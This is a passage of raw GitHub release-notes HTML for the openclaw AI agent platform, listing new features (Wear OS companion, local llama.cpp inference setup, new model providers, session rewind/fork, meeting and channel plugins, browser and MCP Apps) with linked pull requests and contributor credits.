data-url="https://github.com/openclaw/openclaw/issues/115211" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/115211/hovercard" href="https://github.com/openclaw/openclaw/pull/115211">#115211</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shushushv/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shushushv">@shushushv</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Solvely-Colin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Solvely-Colin">@Solvely-Colin</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li><strong>Wear OS companion:</strong> add the phone-proxied Wear companion with home-screen agent/session/model selection, realtime Talk controls, audio-reactive playback, and an instant-talk tile. <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4900217480" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/108781" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/108781/hovercard" href="https://github.com/openclaw/openclaw/issues/108781">#108781</a> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4900638295" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/108835" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/108835/hovercard" href="https://github.com/openclaw/openclaw/pull/108835">#108835</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4905978111" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/109341" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/109341/hovercard" href="https://github.com/openclaw/openclaw/pull/109341">#109341</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4906882963" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/109433" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/109433/hovercard" href="https://github.com/openclaw/openclaw/pull/109433">#109433</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4907143981" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/109483" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/109483/hovercard" href="https://github.com/openclaw/openclaw/pull/109483">#109483</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4918056303" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/110661" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/110661/hovercard" href="https://github.com/openclaw/openclaw/pull/110661">#110661</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4924051432" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/111516" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/111516/hovercard" href="https://github.com/openclaw/openclaw/pull/111516">#111516</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4951934577" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/112721" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/112721/hovercard" href="https://github.com/openclaw/openclaw/pull/112721">#112721</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sibbl/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sibbl">@sibbl</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IWhatsskill/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IWhatsskill">@IWhatsskill</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Solvely-Colin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Solvely-Colin">@Solvely-Colin</a>.</li>
<li><strong>Guided setup and local inference:</strong> guide setup across browser, Linux, and macOS with local-provider detection, strongest-model selection, downloadable models, lean mode, memory imports, and an in-process RAM-gated llama.cpp/Gemma path. <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4898594269" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/108604" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/108604/hovercard" href="https://github.com/openclaw/openclaw/issues/108604">#108604</a> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4898612991" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/108605" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/108605/hovercard" href="https://github.com/openclaw/openclaw/pull/108605">#108605</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4900752132" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/108868" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/108868/hovercard" href="https://github.com/openclaw/openclaw/pull/108868">#108868</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4901780225" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/108977" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/108977/hovercard" href="https://github.com/openclaw/openclaw/pull/108977">#108977</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4904646715" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/109250" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/109250/hovercard" href="https://github.com/openclaw/openclaw/pull/109250">#109250</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4906936814" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/109444" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/109444/hovercard" href="https://github.com/openclaw/openclaw/pull/109444">#109444</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4907720873" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/109585" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/109585/hovercard" href="https://github.com/openclaw/openclaw/pull/109585">#109585</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4912377236" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/110054" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/110054/hovercard" href="https://github.com/openclaw/openclaw/pull/110054">#110054</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4914149335" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/110141" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/110141/hovercard" href="https://github.com/openclaw/openclaw/pull/110141">#110141</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4917673968" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/110596" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/110596/hovercard" href="https://github.com/openclaw/openclaw/pull/110596">#110596</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4973902730" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113476" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/113476/hovercard" href="https://github.com/openclaw/openclaw/pull/113476">#113476</a>)</li>
</ul>
<h3>Changes</h3>
<ul>
<li><strong>Models and providers:</strong> add Claude Opus 5 across catalog and runtime, Kimi K3, and GPT Live realtime support with the supported Platform API authentication path. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4971525595" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113391" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/113391/hovercard" href="https://github.com/openclaw/openclaw/pull/113391">#113391</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4971532709" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113392" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/113392/hovercard" href="https://github.com/openclaw/openclaw/pull/113392">#113392</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4975576694" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113633" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/113633/hovercard" href="https://github.com/openclaw/openclaw/pull/113633">#113633</a>; related <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4972109422" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113412" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/113412/hovercard" href="https://github.com/openclaw/openclaw/issues/113412">#113412</a>; <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4978182040" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113909" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/113909/hovercard" href="https://github.com/openclaw/openclaw/pull/113909">#113909</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4969758982" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113354" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/113354/hovercard" href="https://github.com/openclaw/openclaw/pull/113354">#113354</a>; related <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4969755799" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113353" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/113353/hovercard" href="https://github.com/openclaw/openclaw/issues/113353">#113353</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Solvely-Colin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Solvely-Colin">@Solvely-Colin</a>.</li>
<li><strong>Local inference and setup:</strong> detect local inference providers during onboarding, add in-process llama.cpp GGUF inference and Baseten Model API support, discover models from live provider catalogs, and offer model downloads from web and macOS setup. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4898612991" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/108605" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/108605/hovercard" href="https://github.com/openclaw/openclaw/pull/108605">#108605</a>; related <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4898594269" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/108604" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/108604/hovercard" href="https://github.com/openclaw/openclaw/issues/108604">#108604</a>; <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4906936814" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/109444" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/109444/hovercard" href="https://github.com/openclaw/openclaw/pull/109444">#109444</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4899604872" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/108708" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/108708/hovercard" href="https://github.com/openclaw/openclaw/pull/108708">#108708</a>; related <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4899318301" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/108665" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/108665/hovercard" href="https://github.com/openclaw/openclaw/issues/108665">#108665</a>; <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4942806291" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/112412" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/112412/hovercard" href="https://github.com/openclaw/openclaw/pull/112412">#112412</a>; related <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4942622013" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/112405" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/112405/hovercard" href="https://github.com/openclaw/openclaw/issues/112405">#112405</a>; <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4973902730" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113476" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/113476/hovercard" href="https://github.com/openclaw/openclaw/pull/113476">#113476</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</li>
<li><strong>Sessions and dashboards:</strong> add rewind/fork and branch switching across web and native chat, session boards and dashboards, archived/visibility/draft/incognito session states, and suggestion queues with typing indicators. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4918055909" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/110660" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/110660/hovercard" href="https://github.com/openclaw/openclaw/pull/110660">#110660</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4919325526" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/110857" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/110857/hovercard" href="https://github.com/openclaw/openclaw/pull/110857">#110857</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4919558310" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/110886" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/110886/hovercard" href="https://github.com/openclaw/openclaw/pull/110886">#110886</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4921025593" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/111149" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/111149/hovercard" href="https://github.com/openclaw/openclaw/pull/111149">#111149</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4917992336" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/110644" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/110644/hovercard" href="https://github.com/openclaw/openclaw/pull/110644">#110644</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4920061650" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/110960" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/110960/hovercard" href="https://github.com/openclaw/openclaw/pull/110960">#110960</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4946181815" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/112554" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/112554/hovercard" href="https://github.com/openclaw/openclaw/pull/112554">#112554</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4953687816" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/112787" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/112787/hovercard" href="https://github.com/openclaw/openclaw/pull/112787">#112787</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4958007779" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113006" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/113006/hovercard" href="https://github.com/openclaw/openclaw/pull/113006">#113006</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4961780282" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113127" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/113127/hovercard" href="https://github.com/openclaw/openclaw/pull/113127">#113127</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4963648587" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113173" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/113173/hovercard" href="https://github.com/openclaw/openclaw/pull/113173">#113173</a>)</li>
<li><strong>Native apps:</strong> bring Quick Chat to macOS and Linux with streaming, routing, context capture, dictation, and model controls; add Linux desktop integration and signed updates; add multi-gateway apps and mobile dashboards; and expand Wear OS companion/Talk support. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4908703739" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/109720" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/109720/hovercard" href="https://github.com/openclaw/openclaw/pull/109720">#109720</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4910769316" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/109947" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/109947/hovercard" href="https://github.com/openclaw/openclaw/pull/109947">#109947</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4915955208" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/110285" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/110285/hovercard" href="https://github.com/openclaw/openclaw/pull/110285">#110285</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4917950093" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/110631" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/110631/hovercard" href="https://github.com/openclaw/openclaw/pull/110631">#110631</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4917952398" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/110632" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/110632/hovercard" href="https://github.com/openclaw/openclaw/pull/110632">#110632</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4917976480" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/110635" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/110635/hovercard" href="https://github.com/openclaw/openclaw/pull/110635">#110635</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4920267990" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/110994" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/110994/hovercard" href="https://github.com/openclaw/openclaw/pull/110994">#110994</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4904393259" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/109236" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/109236/hovercard" href="https://github.com/openclaw/openclaw/pull/109236">#109236</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4900120928" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/108770" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/108770/hovercard" href="https://github.com/openclaw/openclaw/pull/108770">#108770</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4931765614" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/111932" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/111932/hovercard" href="https://github.com/openclaw/openclaw/pull/111932">#111932</a>; related <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4931741308" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/111931" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/111931/hovercard" href="https://github.com/openclaw/openclaw/issues/111931">#111931</a>; <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4935901553" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/112163" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/112163/hovercard" href="https://github.com/openclaw/openclaw/pull/112163">#112163</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4905978111" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/109341" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/109341/hovercard" href="https://github.com/openclaw/openclaw/pull/109341">#109341</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4906882963" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/109433" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/109433/hovercard" href="https://github.com/openclaw/openclaw/pull/109433">#109433</a>; related <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4900217480" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/108781" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/108781/hovercard" href="https://github.com/openclaw/openclaw/issues/108781">#108781</a>; <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4907143981" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/109483" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/109483/hovercard" href="https://github.com/openclaw/openclaw/pull/109483">#109483</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4951934577" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/112721" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/112721/hovercard" href="https://github.com/openclaw/openclaw/pull/112721">#112721</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sibbl/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sibbl">@sibbl</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IWhatsskill/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IWhatsskill">@IWhatsskill</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Solvely-Colin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Solvely-Colin">@Solvely-Colin</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li><strong>Meetings:</strong> add Teams and Zoom meeting guests, enable Teams, Zoom, and Google Meet plugins by default, and automatically collect durable meeting transcripts. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4911117058" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/109964" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/109964/hovercard" href="https://github.com/openclaw/openclaw/pull/109964">#109964</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4920537806" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/111048" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/111048/hovercard" href="https://github.com/openclaw/openclaw/pull/111048">#111048</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4958859941" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113022" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/113022/hovercard" href="https://github.com/openclaw/openclaw/pull/113022">#113022</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4959689587" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113053" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/113053/hovercard" href="https://github.com/openclaw/openclaw/pull/113053">#113053</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4961606646" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113122" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/113122/hovercard" href="https://github.com/openclaw/openclaw/pull/113122">#113122</a>)</li>
<li><strong>Channels:</strong> add the Buzz plugin, Slack user-identity and Agent View modes, Telegram Bot API rich blocks and native Markdown lists, and richer Matrix formatting. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4972293812" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113419" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/113419/hovercard" href="https://github.com/openclaw/openclaw/pull/113419">#113419</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4909745074" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/109837" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/109837/hovercard" href="https://github.com/openclaw/openclaw/pull/109837">#109837</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4857674058" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/103895" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/103895/hovercard" href="https://github.com/openclaw/openclaw/pull/103895">#103895</a>; related <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4854743734" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/103673" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/103673/hovercard" href="https://github.com/openclaw/openclaw/issues/103673">#103673</a>; <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4889153728" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/107986" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/107986/hovercard" href="https://github.com/openclaw/openclaw/pull/107986">#107986</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4963294185" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113158" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/113158/hovercard" href="https://github.com/openclaw/openclaw/pull/113158">#113158</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4964385177" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113199" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/113199/hovercard" href="https://github.com/openclaw/openclaw/pull/113199">#113199</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Patrick-Erichsen/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Patrick-Erichsen">@Patrick-Erichsen</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/obviyus/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/obviyus">@obviyus</a>.</li>
<li><strong>Browser and MCP Apps:</strong> add a secure per-tab browser copilot, batch browser CLI, bounded page-question extraction, a ticketed MCP App host and Control UI bridge, and manifest-declared MCP Apps for native plugins. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4909545029" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/109817" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/109817/hovercard" href="https://github.com/openclaw/openclaw/pull/109817">#109817</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4923161388" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/111457" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/111457/hovercard" href="https://github.com/openclaw/openclaw/pull/111457">#111457</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4977647553" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113861" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/113861/hovercard" href="https://github.com/openclaw/openclaw/pull/113861">#113861</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4909872466" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/109861" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/109861/hovercard" href="https://github.com/openclaw/openclaw/pull/109861">#109861</a>; related <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4909810617" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/109851" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/109851/hovercard" href="https://github.com/openclaw/openclaw/issues/109851">#109851</a>; <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4909498874" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/109807" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/109807/hovercard" href="https://github.com/openclaw/openclaw/pull/109807">#109807</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4965395536" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113224" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/113224/hovercard" href="https://github.com/openclaw/openclaw/pull/113224">#113224</a>; related <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4965166757" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113218" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/113218/hovercard" 